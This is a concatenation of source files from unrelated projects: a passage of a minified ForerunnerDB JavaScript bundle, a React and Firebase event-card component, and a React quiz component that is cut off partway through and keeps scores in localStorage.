b,c=a.split(",");for(b=0;b<c.length;b++)if(!d.modules[c[b]])return!1;return!0}return!1},"string, function":function(a,b){if(void 0!==a){a=a.replace(/ /g,"");var c,e=a.split(",");for(c=0;c<e.length;c++)if(!d.modules[e[c]])return!1;b&&b()}},"array, function":function(a,b){var c,e;for(e=0;e<a.length;e++)if(c=a[e],void 0!==c){c=c.replace(/ /g,"");var f,g=c.split(",");for(f=0;f<g.length;f++)if(!d.modules[g[f]])return!1}b&&b()},"string, function, function":function(a,b,c){if(void 0!==a){a=a.replace(/ /g,"");var e,f=a.split(",");for(e=0;e<f.length;e++)if(!d.modules[f[e]])return c(),!1;b()}}}),i.prototype.version=function(a,b){return void 0!==a?0===d.version.indexOf(a)?(b&&b(),!0):!1:d.version},i.moduleLoaded=i.prototype.moduleLoaded,i.version=i.prototype.version,i.instances=i.prototype.instances,i.instantiatedCount=i.prototype.instantiatedCount,i.shared=d,i.prototype.shared=d,d.addModule("Core",i),d.mixin(i.prototype,"Mixin.Common"),d.mixin(i.prototype,"Mixin.Constants"),e=a("./Db.js"),f=a("./Metrics.js"),d.synthesize(i.prototype,"name"),d.synthesize(i.prototype,"mongoEmulation"),i.prototype._isServer=!1,i.prototype.isClient=function(){return!this._isServer},i.prototype.isServer=function(){return this._isServer},i.prototype.collection=function(){throw"ForerunnerDB's instantiation has changed since version 1.3.36 to support multiple database instances. Please see the readme.md file for the minor change you have to make to get your project back up and running, or see the issue related to this change at https://github.com/Irrelon/ForerunnerDB/issues/44"},b.exports=i},{"./Db.js":6,"./Metrics.js":12,"./Overload":24,"./Shared":28}],6:[function(a,b,c){"use strict";var d,e,f,g,h,i;d=a("./Shared"),i=a("./Overload");var j=function(a,b){this.init.apply(this,arguments)};j.prototype.init=function(a,b){this.core(b),this._primaryKey="_id",this._name=a,this._collection={},this._debug={}},d.addModule("Db",j),j.prototype.moduleLoaded=new i({string:function(a){if(void 0!==a){a=a.replace(/ /g,"");var b,c=a.split(",");for(b=0;b<c.length;b++)if(!d.modules[c[b]])return!1;return!0}return!1},"string, function":function(a,b){if(void 0!==a){a=a.replace(/ /g,"");var c,e=a.split(",");for(c=0;c<e.length;c++)if(!d.modules[e[c]])return!1;b&&b()}},"string, function, function":function(a,b,c){if(void 0!==a){a=a.replace(/ /g,"");var e,f=a.split(",");for(e=0;e<f.length;e++)if(!d.modules[f[e]])return c(),!1;b()}}}),j.prototype.version=function(a,b){return void 0!==a?0===d.version.indexOf(a)?(b&&b(),!0):!1:d.version},j.moduleLoaded=j.prototype.moduleLoaded,j.version=j.prototype.version,j.shared=d,j.prototype.shared=d,d.addModule("Db",j),d.mixin(j.prototype,"Mixin.Common"),d.mixin(j.prototype,"Mixin.ChainReactor"),d.mixin(j.prototype,"Mixin.Constants"),d.mixin(j.prototype,"Mixin.Tags"),e=d.modules.Core,f=a("./Collection.js"),g=a("./Metrics.js"),h=a("./Checksum.js"),j.prototype._isServer=!1,d.synthesize(j.prototype,"core"),d.synthesize(j.prototype,"primaryKey"),d.synthesize(j.prototype,"state"),d.synthesize(j.prototype,"name"),d.synthesize(j.prototype,"mongoEmulation"),j.prototype.isClient=function(){return!this._isServer},j.prototype.isServer=function(){return this._isServer},j.prototype.Checksum=h,j.prototype.isClient=function(){return!this._isServer},j.prototype.isServer=function(){return this._isServer},j.prototype.arrayToCollection=function(a){return(new f).setData(a)},j.prototype.on=function(a,b){return this._listeners=this._listeners||{},this._listeners[a]=this._listeners[a]||[],this._listeners[a].push(b),this},j.prototype.off=function(a,b){if(a in this._listeners){var c=this._listeners[a],d=c.indexOf(b);d>-1&&c.splice(d,1)}return this},j.prototype.emit=function(a,b){if(this._listeners=this._listeners||{},a in this._listeners){var c,d=this._listeners[a],e=d.length;for(c=0;e>c;c++)d[c].apply(this,Array.prototype.slice.call(arguments,1))}return this},j.prototype.peek=function(a){var b,c,d=[],e=typeof a;for(b in this._collection)this._collection.hasOwnProperty(b)&&(c=this._collection[b],d="string"===e?d.concat(c.peek(a)):d.concat(c.find(a)));return d},j.prototype.peek=function(a){var b,c,d=[],e=typeof a;for(b in this._collection)this._collection.hasOwnProperty(b)&&(c=this._collection[b],d="string"===e?d.concat(c.peek(a)):d.concat(c.find(a)));return d},j.prototype.peekCat=function(a){var b,c,d,e={},f=typeof a;for(b in this._collection)this._collection.hasOwnProperty(b)&&(c=this._collection[b],"string"===f?(d=c.peek(a),d&&d.length&&(e[c.name()]=d)):(d=c.find(a),d&&d.length&&(e[c.name()]=d)));return e},j.prototype.drop=new i({"":function(){if(!this.isDropped()){var a,b=this.collections(),c=b.length;for(this._state="dropped",a=0;c>a;a++)this.collection(b[a].name).drop(),delete this._collection[b[a].name];this.emit("drop",this),delete this._listeners,delete this._core._db[this._name]}return!0},"function":function(a){if(!this.isDropped()){var b,c=this.collections(),d=c.length,e=0,f=function(){e++,e===d&&a&&a()};for(this._state="dropped",b=0;d>b;b++)this.collection(c[b].name).drop(f),delete this._collection[c[b].name];this.emit("drop",this),delete this._listeners,delete this._core._db[this._name]}return!0},"boolean":function(a){if(!this.isDropped()){var b,c=this.collections(),d=c.length;for(this._state="dropped",b=0;d>b;b++)this.collection(c[b].name).drop(a),delete this._collection[c[b].name];this.emit("drop",this),delete this._listeners,delete this._core._db[this._name]}return!0},"boolean, function":function(a,b){if(!this.isDropped()){var c,d=this.collections(),e=d.length,f=0,g=function(){f++,f===e&&b&&b()};for(this._state="dropped",c=0;e>c;c++)this.collection(d[c].name).drop(a,g),delete this._collection[d[c].name];this.emit("drop",this),delete this._listeners,delete this._core._db[this._name]}return!0}}),e.prototype.db=function(a){return a instanceof j?a:(a||(a=this.objectId()),this._db[a]=this._db[a]||new j(a,this),this._db[a].mongoEmulation(this.mongoEmulation()),this._db[a])},e.prototype.databases=function(a){var b,c,d,e=[];a&&(a instanceof RegExp||(a=new RegExp(a)));for(d in this._db)this._db.hasOwnProperty(d)&&(c=!0,a&&(a.exec(d)||(c=!1)),c&&(b={name:d,children:[]},this.shared.moduleExists("Collection")&&b.children.push({module:"collection",moduleName:"Collections",count:this._db[d].collections().length}),this.shared.moduleExists("CollectionGroup")&&b.children.push({module:"collectionGroup",moduleName:"Collection Groups",count:this._db[d].collectionGroups().length}),this.shared.moduleExists("Document")&&b.children.push({module:"document",moduleName:"Documents",count:this._db[d].documents().length}),this.shared.moduleExists("Grid")&&b.children.push({module:"grid",moduleName:"Grids",count:this._db[d].grids().length}),this.shared.moduleExists("Overview")&&b.children.push({module:"overview",moduleName:"Overviews",count:this._db[d].overviews().length}),this.shared.moduleExists("View")&&b.children.push({module:"view",moduleName:"Views",count:this._db[d].views().length}),e.push(b)));return e.sort(function(a,b){return a.name.localeCompare(b.name)}),e},d.finishModule("Db"),b.exports=j},{"./Checksum.js":3,"./Collection.js":4,"./Metrics.js":12,"./Overload":24,"./Shared":28}],7:[function(a,b,c){"use strict";var d,e,f,g;d=[16,8,4,2,1],e="0123456789bcdefghjkmnpqrstuvwxyz",f={right:{even:"bc01fg45238967deuvhjyznpkmstqrwx"},left:{even:"238967debc01fg45kmstqrwxuvhjyznp"},top:{even:"p0r21436x8zb9dcf5h7kjnmqesgutwvy"},bottom:{even:"14365h7k9dcfesgujnmqp0r2twvyx8zb"}},g={right:{even:"bcfguvyz"},left:{even:"0145hjnp"},top:{even:"prxz"},bottom:{even:"028b"}},f.bottom.odd=f.left.even,f.top.odd=f.right.even,f.left.odd=f.bottom.even,f.right.odd=f.top.even,g.bottom.odd=g.left.even,g.top.odd=g.right.even,g.left.odd=g.bottom.even,g.right.odd=g.top.even;var h=function(){};h.prototype.refineInterval=function(a,b,c){b&c?a[0]=(a[0]+a[1])/2:a[1]=(a[0]+a[1])/2},h.prototype.calculateNeighbours=function(a,b){var c;return b&&"object"!==b.type?(c=[],c[4]=a,c[3]=this.calculateAdjacent(a,"left"),c[5]=this.calculateAdjacent(a,"right"),c[1]=this.calculateAdjacent(a,"top"),c[7]=this.calculateAdjacent(a,"bottom"),c[0]=this.calculateAdjacent(c[3],"top"),c[2]=this.calculateAdjacent(c[5],"top"),c[6]=this.calculateAdjacent(c[3],"bottom"),c[8]=this.calculateAdjacent(c[5],"bottom")):(c={center:a,left:this.calculateAdjacent(a,"left"),right:this.calculateAdjacent(a,"right"),top:this.calculateAdjacent(a,"top"),bottom:this.calculateAdjacent(a,"bottom")},c.topLeft=this.calculateAdjacent(c.left,"top"),c.topRight=this.calculateAdjacent(c.right,"top"),c.bottomLeft=this.calculateAdjacent(c.left,"bottom"),c.bottomRight=this.calculateAdjacent(c.right,"bottom")),c},h.prototype.calculateAdjacent=function(a,b){a=a.toLowerCase();var c=a.charAt(a.length-1),d=a.length%2?"odd":"even",h=a.substring(0,a.length-1);return-1!==g[b][d].indexOf(c)&&(h=this.calculateAdjacent(h,b)),h+e[f[b][d].indexOf(c)]},h.prototype.decode=function(a){var b,c,f,g,h,i,j,k=1,l=[],m=[];for(l[0]=-90,l[1]=90,m[0]=-180,m[1]=180,i=90,j=180,b=0;b<a.length;b++)for(c=a[b],f=e.indexOf(c),g=0;5>g;g++)h=d[g],k?(j/=2,this.refineInterval(m,f,h)):(i/=2,this.refineInterval(l,f,h)),k=!k;return l[2]=(l[0]+l[1])/2,m[2]=(m[0]+m[1])/2,{latitude:l,longitude:m}},h.prototype.encode=function(a,b,c){var f,g=1,h=[],i=[],j=0,k=0,l="";for(c||(c=12),h[0]=-90,h[1]=90,i[0]=-180,i[1]=180;l.length<c;)g?(f=(i[0]+i[1])/2,b>f?(k|=d[j],i[0]=f):i[1]=f):(f=(h[0]+h[1])/2,a>f?(k|=d[j],h[0]=f):h[1]=f),g=!g,4>j?j++:(l+=e[k],j=0,k=0);return l},b.exports=h},{}],8:[function(a,b,c){"use strict";var d=a("./Shared"),e=a("./Path"),f=a("./BinaryTree"),g=a("./GeoHash"),h=new e,i=new g,j=[5e3,1250,156,39.1,4.89,1.22,.153,.0382,.00477,.00119,149e-6,372e-7],k=function(){this.init.apply(this,arguments)};k.prototype.init=function(a,b,c){this._btree=new f,this._btree.index(a),this._size=0,this._id=this._itemKeyHash(a,a),this._debug=b&&b.debug?b.debug:!1,this.unique(b&&b.unique?b.unique:!1),void 0!==a&&this.keys(a),void 0!==c&&(this.collection(c),this._btree.primaryKey(c.primaryKey())),this.name(b&&b.name?b.name:this._id),this._btree.debug(this._debug)},d.addModule("Index2d",k),d.mixin(k.prototype,"Mixin.Common"),d.mixin(k.prototype,"Mixin.ChainReactor"),d.mixin(k.prototype,"Mixin.Sorting"),k.prototype.id=function(){return this._id},k.prototype.state=function(){return this._state},k.prototype.size=function(){return this._size},d.synthesize(k.prototype,"data"),d.synthesize(k.prototype,"name"),d.synthesize(k.prototype,"collection"),d.synthesize(k.prototype,"type"),d.synthesize(k.prototype,"unique"),k.prototype.keys=function(a){return void 0!==a?(this._keys=a,this._keyCount=h.parse(this._keys).length,this):this._keys},k.prototype.rebuild=function(){if(this._collection){var a,b=this._collection.subset({},{$decouple:!1,$orderBy:this._keys}),c=b.find(),d=c.length;for(this._btree.clear(),this._size=0,this._unique&&(this._uniqueLookup={}),a=0;d>a;a++)this.insert(c[a])}this._state={name:this._name,keys:this._keys,indexSize:this._size,built:new Date,updated:new Date,ok:!0}},k.prototype.insert=function(a,b){var c,d=this._unique;a=this.decouple(a),d&&(c=this._itemHash(a,this._keys),this._uniqueLookup[c]=a);var e,f,g,j,k,l=this._btree.keys();for(k=0;k<l.length;k++)e=h.get(a,l[k].path),e instanceof Array&&(g=e[0],j=e[1],f=i.encode(g,j),h.set(a,l[k].path,f));return this._btree.insert(a)?(this._size++,!0):!1},k.prototype.remove=function(a,b){var c,d=this._unique;return d&&(c=this._itemHash(a,this._keys),delete this._uniqueLookup[c]),this._btree.remove(a)?(this._size--,!0):!1},k.prototype.violation=function(a){var b=this._itemHash(a,this._keys);return Boolean(this._uniqueLookup[b])},k.prototype.hashViolation=function(a){return Boolean(this._uniqueLookup[a])},k.prototype.lookup=function(a,b){var c,d,e,f,g=this._btree.keys();for(f=0;f<g.length;f++)if(c=g[f].path,d=h.get(a,c),"object"==typeof d)return d.$near&&(e=[],e=e.concat(this.near(c,d.$near,b))),d.$geoWithin&&(e=[],e=e.concat(this.geoWithin(c,d.$geoWithin,b))),e;return this._btree.lookup(a,b)},k.prototype.near=function(a,b,c){var d,e,f,g,k,l,m,n,o,p,q,r=this,s=[],t=this._collection.primaryKey();if("km"===b.$distanceUnits){for(m=b.$maxDistance,q=0;q<j.length;q++)if(m>j[q]){l=q;break}0===l&&(l=1)}else if("miles"===b.$distanceUnits){for(m=1.60934*b.$maxDistance,q=0;q<j.length;q++)if(m>j[q]){l=q;break}0===l&&(l=1)}for(d=i.encode(b.$point[0],b.$point[1],l),e=i.calculateNeighbours(d,{type:"array"}),k=[],f=0,q=0;9>q;q++)g=this._btree.startsWith(a,e[q]),f+=g._visited,k=k.concat(g);if(k=this._collection._primaryIndex.lookup(k),k.length){for(n={},q=0;q<k.length;q++)p=h.get(k[q],a),o=n[k[q][t]]=this.distanceBetweenPoints(b.$point[0],b.$point[1],p[0],p[1]),m>=o&&s.push(k[q]);s.sort(function(a,b){return r.sortAsc(n[a[t]],n[b[t]])})}return s},k.prototype.geoWithin=function(a,b,c){return[]},k.prototype.distanceBetweenPoints=function(a,b,c,d){var e=6371,f=this.toRadians(a),g=this.toRadians(c),h=this.toRadians(c-a),i=this.toRadians(d-b),j=Math.sin(h/2)*Math.sin(h/2)+Math.cos(f)*Math.cos(g)*Math.sin(i/2)*Math.sin(i/2),k=2*Math.atan2(Math.sqrt(j),Math.sqrt(1-j));return e*k},k.prototype.toRadians=function(a){return.01747722222222*a},k.prototype.match=function(a,b){return this._btree.match(a,b)},k.prototype._itemHash=function(a,b){var c,d,f=new e,g="";for(c=f.parse(b),d=0;d<c.length;d++)g&&(g+="_"),g+=f.value(a,c[d].path).join(":");return g},k.prototype._itemKeyHash=function(a,b){var c,d,f=new e,g="";for(c=f.parse(b),d=0;d<c.length;d++)g&&(g+="_"),g+=f.keyValue(a,c[d].path);return g},k.prototype._itemHashArr=function(a,b){var c,d,f,g,h,i=new e,j=[];for(c=i.parse(b),g=0;g<c.length;g++)for(d=i.value(a,c[g].path),f=0;f<d.length;f++)if(0===g)j.push(d[f]);else for(h=0;h<j.length;h++)j[h]=j[h]+"_"+d[f];return j},d.index["2d"]=k,d.finishModule("Index2d"),b.exports=k},{"./BinaryTree":2,"./GeoHash":7,"./Path":25,"./Shared":28}],9:[function(a,b,c){"use strict";var d=a("./Shared"),e=a("./Path"),f=a("./BinaryTree"),g=function(){this.init.apply(this,arguments)};g.prototype.init=function(a,b,c){this._btree=new f,this._btree.index(a),this._size=0,this._id=this._itemKeyHash(a,a),this._debug=b&&b.debug?b.debug:!1,this.unique(b&&b.unique?b.unique:!1),void 0!==a&&this.keys(a),void 0!==c&&(this.collection(c),this._btree.primaryKey(c.primaryKey())),this.name(b&&b.name?b.name:this._id),this._btree.debug(this._debug)},d.addModule("IndexBinaryTree",g),d.mixin(g.prototype,"Mixin.ChainReactor"),d.mixin(g.prototype,"Mixin.Sorting"),g.prototype.id=function(){return this._id},g.prototype.state=function(){return this._state},g.prototype.size=function(){return this._size},d.synthesize(g.prototype,"data"),d.synthesize(g.prototype,"name"),d.synthesize(g.prototype,"collection"),d.synthesize(g.prototype,"type"),d.synthesize(g.prototype,"unique"),g.prototype.keys=function(a){return void 0!==a?(this._keys=a,this._keyCount=(new e).parse(this._keys).length,this):this._keys},g.prototype.rebuild=function(){if(this._collection){var a,b=this._collection.subset({},{$decouple:!1,$orderBy:this._keys}),c=b.find(),d=c.length;for(this._btree.clear(),this._size=0,this._unique&&(this._uniqueLookup={}),a=0;d>a;a++)this.insert(c[a])}this._state={name:this._name,keys:this._keys,indexSize:this._size,built:new Date,updated:new Date,ok:!0}},g.prototype.insert=function(a,b){var c,d=this._unique;return d&&(c=this._itemHash(a,this._keys),this._uniqueLookup[c]=a),this._btree.insert(a)?(this._size++,!0):!1},g.prototype.remove=function(a,b){var c,d=this._unique;return d&&(c=this._itemHash(a,this._keys),delete this._uniqueLookup[c]),this._btree.remove(a)?(this._size--,!0):!1},g.prototype.violation=function(a){var b=this._itemHash(a,this._keys);return Boolean(this._uniqueLookup[b])},g.prototype.hashViolation=function(a){return Boolean(this._uniqueLookup[a])},g.prototype.lookup=function(a,b){return this._btree.lookup(a,b)},g.prototype.match=function(a,b){return this._btree.match(a,b)},g.prototype._itemHash=function(a,b){var c,d,f=new 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c,d=!1;if(a.length>0)if(b>0){for(c=0;b>c;c++)a.pop();d=!0}else if(0>b){for(c=0;c>b;c--)a.shift();d=!0}return d}};b.exports=d},{}],23:[function(a,b,c){"use strict";var d=a("./Shared"),e=a("./Path"),f=function(a){this.pathSolver=new e,this.counter=0,this.init.apply(this,arguments)};f.prototype.init=function(a){this._data={operation:a,index:{potential:[],used:!1},steps:[],time:{startMs:0,stopMs:0,totalMs:0,process:{}},flag:{},log:[]}},d.addModule("Operation",f),d.mixin(f.prototype,"Mixin.ChainReactor"),f.prototype.start=function(){this._data.time.startMs=(new Date).getTime()},f.prototype.log=function(a){if(a){var b=this._log.length>0?this._data.log[this._data.log.length-1].time:0,c={event:a,time:(new Date).getTime(),delta:0};return this._data.log.push(c),b&&(c.delta=c.time-b),this}return this._data.log},f.prototype.time=function(a){if(void 0!==a){var b=this._data.time.process,c=b[a]=b[a]||{};return c.startMs?(c.stopMs=(new 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a)a.hasOwnProperty(b)&&void 0!==a[b]&&("object"!=typeof a[b]?c++:c+=this.countKeys(a[b]));return c},e.prototype.countObjectPaths=function(a,b){var c,d,e={},f=0,g=0;for(d in b)b.hasOwnProperty(d)&&("object"==typeof b[d]?(c=this.countObjectPaths(a[d],b[d]),e[d]=c.matchedKeys,g+=c.totalKeyCount,f+=c.matchedKeyCount):(g++,a&&a[d]&&"object"!=typeof a[d]?(e[d]=!0,f++):e[d]=!1));return{matchedKeys:e,matchedKeyCount:f,totalKeyCount:g}},e.prototype.parse=function(a,b){var c,d,e,f=[],g="";for(d in a)if(a.hasOwnProperty(d))if(g=d,"object"==typeof a[d])if(b)for(c=this.parse(a[d],b),e=0;e<c.length;e++)f.push({path:g+"."+c[e].path,value:c[e].value});else for(c=this.parse(a[d]),e=0;e<c.length;e++)f.push({path:g+"."+c[e].path});else b?f.push({path:g,value:a[d]}):f.push({path:g});return f},e.prototype.parseArr=function(a,b){return b=b||{},this._parseArr(a,"",[],b)},e.prototype._parseArr=function(a,b,c,d){var e,f="";b=b||"",c=c||[];for(e in a)a.hasOwnProperty(e)&&(!d.ignore||d.ignore&&!d.ignore.test(e))&&(f=b?b+"."+e:e,"object"==typeof a[e]?(d.verbose&&c.push(f),this._parseArr(a[e],f,c,d)):c.push(f));return c},e.prototype.set=function(a,b,c){if(void 0!==a&&void 0!==b){var d,e;b=this.clean(b),d=b.split("."),e=d.shift(),d.length?(a[e]=a[e]||{},this.set(a[e],d.join("."),c)):a[e]=c}return a},e.prototype.get=function(a,b){return this.value(a,b)[0]},e.prototype.value=function(a,b,c){var d,e,f,g,h,i,j,k,l;if(b&&-1===b.indexOf("."))return[a[b]];if(void 0!==a&&"object"==typeof a){if((!c||c&&!c.skipArrCheck)&&a instanceof Array){for(j=[],k=0;k<a.length;k++)j.push(this.get(a[k],b));return j}for(i=[],void 0!==b&&(b=this.clean(b),d=b.split(".")),e=d||this._pathParts,f=e.length,g=a,k=0;f>k;k++){if(g=g[e[k]],h instanceof Array){for(l=0;l<h.length;l++)i=i.concat(this.value(h,l+"."+e[k],{skipArrCheck:!0}));return i}if(!g||"object"!=typeof g)break;h=g}return[g]}return[]},e.prototype.push=function(a,b,c){if(void 0!==a&&void 0!==b){var d,e;if(b=this.clean(b),d=b.split("."),e=d.shift(),d.length)a[e]=a[e]||{},this.set(a[e],d.join("."),c);else{if(a[e]=a[e]||[],!(a[e]instanceof Array))throw"ForerunnerDB.Path: Cannot push to a path whose endpoint is not an array!";a[e].push(c)}}return a},e.prototype.keyValue=function(a,b){var c,d,e,f,g,h,i;for(void 0!==b&&(b=this.clean(b),c=b.split(".")),d=c||this._pathParts,e=d.length,f=a,i=0;e>i;i++){if(f=f[d[i]],!f||"object"!=typeof f){h=d[i]+":"+f;break}g=f}return h},e.prototype.set=function(a,b,c){if(void 0!==a&&void 0!==b){var d,e;b=this.clean(b),d=b.split("."),e=d.shift(),d.length?(a[e]=a[e]||{},this.set(a[e],d.join("."),c)):a[e]=c}return a},e.prototype.clean=function(a){return"."===a.substr(0,1)&&(a=a.substr(1,a.length-1)),a},d.finishModule("Path"),b.exports=e},{"./Shared":28}],26:[function(a,b,c){"use strict";var d=a("./Shared"),e=function(a,b,c){if(!(a&&b&&c))throw"ForerunnerDB.ReactorIO: ReactorIO requires in, out and process arguments to instantiate!";if(this._reactorIn=a,this._reactorOut=b,this._chainHandler=c,!a.chain)throw"ForerunnerDB.ReactorIO: ReactorIO requires passed in and out objects to implement the ChainReactor mixin!";a.chain(this),this.chain(b)};d.addModule("ReactorIO",e),e.prototype.drop=function(){return this.isDropped()||(this._state="dropped",this._reactorIn&&this._reactorIn.unChain(this),this._reactorOut&&this.unChain(this._reactorOut),delete this._reactorIn,delete this._reactorOut,delete this._chainHandler,this.emit("drop",this),delete this._listeners),!0},d.synthesize(e.prototype,"state"),d.mixin(e.prototype,"Mixin.Common"),d.mixin(e.prototype,"Mixin.ChainReactor"),d.mixin(e.prototype,"Mixin.Events"),d.finishModule("ReactorIO"),b.exports=e},{"./Shared":28}],27:[function(a,b,c){"use strict";var d=function(){this.init.apply(this,arguments)};d.prototype.init=function(){var a=this;this._encoder=[],this._decoder=[],this.registerHandler("$date",function(a){return a instanceof Date?(a.toJSON=function(){return"$date:"+this.toISOString()},!0):!1},function(b){return"string"==typeof b&&0===b.indexOf("$date:")?a.convert(new Date(b.substr(6))):void 0}),this.registerHandler("$regexp",function(a){return a instanceof RegExp?(a.toJSON=function(){return"$regexp:"+this.source.length+":"+this.source+":"+(this.global?"g":"")+(this.ignoreCase?"i":"")},!0):!1},function(b){if("string"==typeof b&&0===b.indexOf("$regexp:")){var c=b.substr(8),d=c.indexOf(":"),e=Number(c.substr(0,d)),f=c.substr(d+1,e),g=c.substr(d+e+2);return a.convert(new RegExp(f,g))}})},d.prototype.registerHandler=function(a,b,c){void 0!==a&&(this._encoder.push(b),this._decoder.push(c))},d.prototype.convert=function(a){var b,c=this._encoder;for(b=0;b<c.length;b++)if(c[b](a))return a;return a},d.prototype.reviver=function(){var a=this._decoder;return function(b,c){var d,e;for(e=0;e<a.length;e++)if(d=a[e](c),void 0!==d)return d;return c}},b.exports=d},{}],28:[function(a,b,c){"use strict";var d=a("./Overload"),e={version:"1.3.717",modules:{},plugins:{},index:{},_synth:{},addModule:function(a,b){this.modules[a]=b,this.emit("moduleLoad",[a,b])},finishModule:function(a){if(!this.modules[a])throw"ForerunnerDB.Shared: finishModule called on a module that has not been registered with addModule(): "+a;this.modules[a]._fdbFinished=!0,this.modules[a].prototype?this.modules[a].prototype.className=a:this.modules[a].className=a,this.emit("moduleFinished",[a,this.modules[a]])},moduleFinished:function(a,b){this.modules[a]&&this.modules[a]._fdbFinished?b&&b(a,this.modules[a]):this.on("moduleFinished",b)},moduleExists:function(a){return Boolean(this.modules[a])},mixin:new d({"object, string":function(a,b){var c;if("string"==typeof b&&(c=this.mixins[b],!c))throw"ForerunnerDB.Shared: Cannot find mixin named: "+b;return this.$main.call(this,a,c)},"object, *":function(a,b){return this.$main.call(this,a,b)},$main:function(a,b){if(b&&"object"==typeof b)for(var c in b)b.hasOwnProperty(c)&&(a[c]=b[c]);return a}}),synthesize:function(a,b,c){if(this._synth[b]=this._synth[b]||function(a){return void 0!==a?(this["_"+b]=a,this):this["_"+b]},c){var d=this;a[b]=function(){var a,e=this.$super;return this.$super=d._synth[b],a=c.apply(this,arguments),this.$super=e,a}}else a[b]=this._synth[b]},overload:d,mixins:{"Mixin.Common":a("./Mixin.Common"),"Mixin.Events":a("./Mixin.Events"),"Mixin.ChainReactor":a("./Mixin.ChainReactor"),"Mixin.CRUD":a("./Mixin.CRUD"),"Mixin.Constants":a("./Mixin.Constants"),"Mixin.Triggers":a("./Mixin.Triggers"),"Mixin.Sorting":a("./Mixin.Sorting"),"Mixin.Matching":a("./Mixin.Matching"),"Mixin.Updating":a("./Mixin.Updating"),"Mixin.Tags":a("./Mixin.Tags")}};e.mixin(e,"Mixin.Events"),b.exports=e},{"./Mixin.CRUD":13,"./Mixin.ChainReactor":14,"./Mixin.Common":15,"./Mixin.Constants":16,"./Mixin.Events":17,"./Mixin.Matching":18,"./Mixin.Sorting":19,"./Mixin.Tags":20,"./Mixin.Triggers":21,"./Mixin.Updating":22,"./Overload":24}],29:[function(a,b,c){Array.prototype.filter||(Array.prototype.filter=function(a){if(void 0===this||null===this)throw new TypeError;var b=Object(this),c=b.length>>>0;if("function"!=typeof a)throw new TypeError;for(var d=[],e=arguments.length>=2?arguments[1]:void 0,f=0;c>f;f++)if(f in b){var g=b[f];a.call(e,g,f,b)&&d.push(g)}return d}),"function"!=typeof Object.create&&(Object.create=function(){var a=function(){};return function(b){if(arguments.length>1)throw Error("Second argument not supported");if("object"!=typeof b)throw TypeError("Argument must be an object");a.prototype=b;var c=new a;return a.prototype=null,c}}()),Array.prototype.indexOf||(Array.prototype.indexOf=function(a,b){var c;if(null===this)throw new TypeError('"this" is null or not defined');var d=Object(this),e=d.length>>>0;if(0===e)return-1;var f=+b||0;if(Math.abs(f)===1/0&&(f=0),f>=e)return-1;for(c=Math.max(f>=0?f:e-Math.abs(f),0);e>c;){if(c in d&&d[c]===a)return c;c++}return-1}),b.exports={}},{}]},{},[1]);
|
src/EventCard.js
|
Samuron/WaveHustle
|
import React from 'react';
import firebase from 'firebase';
import { Card, CardActions, CardHeader, CardMedia, CardTitle, CardText } from 'material-ui/Card';
import RaisedButton from 'material-ui/RaisedButton';
import Dialog from 'material-ui/Dialog';
import Avatar from 'material-ui/Avatar';
import { List, ListItem } from 'material-ui/List';
import Subheader from 'material-ui/Subheader';
import Divider from 'material-ui/Divider';
function Visitor(props) {
return (
<ListItem primaryText={props.visitor} leftAvatar={<Avatar src={props.visitorPhotoUrl} />} />
);
}
class EventCard extends React.Component {
constructor(props) {
super(props);
this.visitEvent = this.visitEvent.bind(this);
this.handleClose = this.handleClose.bind(this);
this.handleOpen = this.handleOpen.bind(this);
this.visitorsRf = firebase.database().ref(`/threads/${this.props.threadId}/events/${this.props.id}/visitors`);
this.state = {
visitors: [],
openVisitors: false
}
}
componentWillMount() {
this.visitorsRf.on('value', (snapshot) => {
var visitors = [];
snapshot.forEach((child) => {
var item = child.val();
item.id = child.key;
visitors.push(item);
});
this.setState({
visitors: visitors
});
});
}
handleClose() {
this.setState({ openVisitors: false });
}
handleOpen() {
this.setState({ openVisitors: true });
}
visitEvent() {
var user = firebase.auth().currentUser;
if (this.state.visitors.filter(x => x.visitorId === user.uid).length !== 0) {
this.state.showButton = false;
return;
}
this.visitorsRf.push({
visitorId: user.uid,
visitor: user.displayName,
visitorPhotoUrl: user.photoURL
});
}
render() {
return (
<Card style={{ marginBottom: 10 }}>
<CardHeader title={this.props.name} subtitle={`by ${this.props.creator}`} avatar={this.props.creatorPhotoUrl} />
<CardMedia
overlay={<CardTitle title={`Hosted at ${this.props.place}`} subtitle={`Price: ${this.props.price}`} />}>
<img src={this.props.photoUrl} />
</CardMedia>
{
this.props.description &&
<CardText>
{this.props.description}
</CardText>
}
<CardActions>
<RaisedButton label="I'll go" onTouchTap={this.visitEvent} />
<RaisedButton label="Show visitors" onTouchTap={this.handleOpen} />
<Dialog modal={false} open={this.state.openVisitors} onRequestClose={this.handleClose} >
<List style={{ maxHeight: 300, overflowY: 'auto'}}>
<Subheader>You can meet these awesome guys</Subheader>
{this.state.visitors.map((e, index) => <Visitor key={index} {...e} />)}
</List>
</Dialog>
</CardActions>
</Card>
);
}
}
export default class EventsList extends React.Component {
render() {
return (
<div>
{this.props.events.map(e => <EventCard key={e.id} threadId={this.props.threadId} {...e} />)}
</div>
);
}
}
|
src/onemin-writing/ChildQues4.js
|
mrinalkrishnanm/Sld
|
import React from 'react';
import Navbar from '../Navbar';
import Modal from 'react-modal';
import { browserHistory } from "react-router";
import _ from 'lodash';
class ChildQues4 extends React.Component{
constructor(){
super();
this.state={
counter: 10,
visibility: "o-0",
button_visibility:"o-90 bg-green w5 grow hover-bg-green mh4",
ans_visibility:'o-0',
modalIsOpen: true
}
}
// afterOpenModal() {
// // references are now sync'd and can be accessed.
// this.refs.subtitle.style.color = '#f00';
// }
closeModal(){
this.setState({modalIsOpen: false});
}
openModal(){
this.setState({modalIsOpen: true});
}
start(){
this.setState({visibility:"o-90"});
this.setState({button_visibility:"o-0"});
setInterval(this.counterStart.bind(this),1000);
}
counterStart(){
if(this.state.counter>0)
{
this.setState({counter: this.state.counter-1});
console.log(this.state.counter)
}
else{
this.setState({visibility:"o-0",ans_visibility:"o-90"});
}
}
submit(){
if(this.refs.ans1.value<4)
{
var retrievedObject = localStorage.getItem('attributes');
var answers = JSON.parse(retrievedObject);
var attribute = ["DS"]
for (var key in answers) {
//console.log(key)
if (answers.hasOwnProperty(key)) {
if(_.includes(attribute,key))
answers[key] = answers[key] + 30
}
}
localStorage.setItem('attributes', JSON.stringify(answers));
var retrievedObject = localStorage.getItem('attributes');
console.log('retrievedObject: ', JSON.parse(retrievedObject));
}
if(this.refs.ans2.value<4)
{
var retrievedObject = localStorage.getItem('attributes');
var answers = JSON.parse(retrievedObject);
var attribute = ["DH"]
for (var key in answers) {
//console.log(key)
if (answers.hasOwnProperty(key)) {
